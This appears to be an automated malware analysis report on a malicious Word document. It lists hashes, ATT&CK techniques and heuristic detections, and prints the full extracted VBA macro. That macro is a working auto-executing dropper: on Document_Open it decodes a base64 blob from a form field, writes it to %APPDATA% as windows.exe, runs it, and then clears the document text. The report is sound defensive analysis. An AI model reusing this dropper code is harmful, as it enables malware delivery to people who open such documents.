Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3fef58292f69fdd9…

MALICIOUS

Office (OOXML)

245.6 KB Created: 2015-06-24 11:31:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2017-12-24
MD5: 837e2071f679c9c3c5b901187914f859 SHA-1: b947a988dda5761f9c94a5750a47f410cf0bf2e0 SHA-256: 3fef58292f69fdd9b7abd7459dca15ef5b9c0a40f477834f0b86bcdb0a040caa
350 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains a VBA macro that is automatically executed via the Document_Open subroutine. This macro utilizes WScript.Shell to interact with the system, likely to download and execute a second-stage payload. The document body explicitly prompts the user to "enable Editing and Content" to view the document, a common social engineering tactic to bypass macro security. The presence of WScript.Shell usage and the auto-execution of macros strongly indicate a malicious downloader.

Heuristics 9

  • ClamAV: Ole2.Macro.Agent-9858864-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ole2.Macro.Agent-9858864-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub oy(ByVal s7ym71)
Set wsh = CreateObject("wscript.shell")
Dim Path
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
Module2.j
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3894 bytes
SHA-256: 1f18f193bbc7efe1d17dd48b9a3c27f694ffa39f48c3287ad848f2ad78b6ab7c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Module2.j
End Sub











Attribute VB_Name = "N"
Sub ClearDocPasteText(ByVal InsAfter)
Dim doc As Word.Document
Word.ActiveDocument.Range.Select
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
   Set doc = ActiveDocument
  doc.Range.InsertAfter InsAfter
End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{A6A0C32B-57CE-4ACE-883A-44C17BB140D2}{3BB50B42-C19F-477B-9CE1-9FDBD5D3C7E0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()

End Sub

Attribute VB_Name = "Module1"


Function decodeBase64(base64)
  Dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set encoded String, get bytes
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
End Function

Sub oy(ByVal s7ym71)
Set wsh = CreateObject("wscript.shell")
Dim Path
Path = wsh.ExpandEnvironmentStrings("%APPDATA%")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CreateTextFile Path & "\" & "windows.exe", True
Set f = fso.OpenTextFile(Path & "\" & "windows.exe", 2, True)
exe = base64.Base64Decode(UserForm2.TextBox1)
'MsgBox (exe)
f.WriteLine (exe)
f.Close
wsh.Run Path & "\windows.exe"
End Sub

Sub testtt()
oy ("")
End Sub

Attribute VB_Name = "Base64"
Function Base64Decode(ByVal base64String)
Const dddd = "ldagjlajdglajsdglajsdkgjaw89tojdgas"
Dim sddfaf
sddfaf = "jgag943hg8agojasovn9qh9tjxcn893vklnlxzvnjf"
  Const base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Const fdsaga = "gasjg938934u89y3497593y9h98reyw98g3y498yg984hg"
  Dim dataLength, sOut, groupBegin
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function


Attribute VB_Name = "Module2"
Sub j()
On Error GoTo Exits
a = 5 / 0
Exits:
Module1.oy ("")
N.ClearDocPasteText ("")
On Error GoTo 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 456192 bytes
SHA-256: 676a45a39a7344fe6ea546d870edc96ee7f2b540b76dd8f5df0c9b51623f6354
Detection
ClamAV: Ole2.Macro.Agent-9858864-1
Obfuscation or payload: likely
3828 of 7300 identifiers look randomly generated (e.g. 'MgYaOTMgPDMzAiUyBjwzMBYgNjIwHjw1FkkjNAkk'); 11 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).

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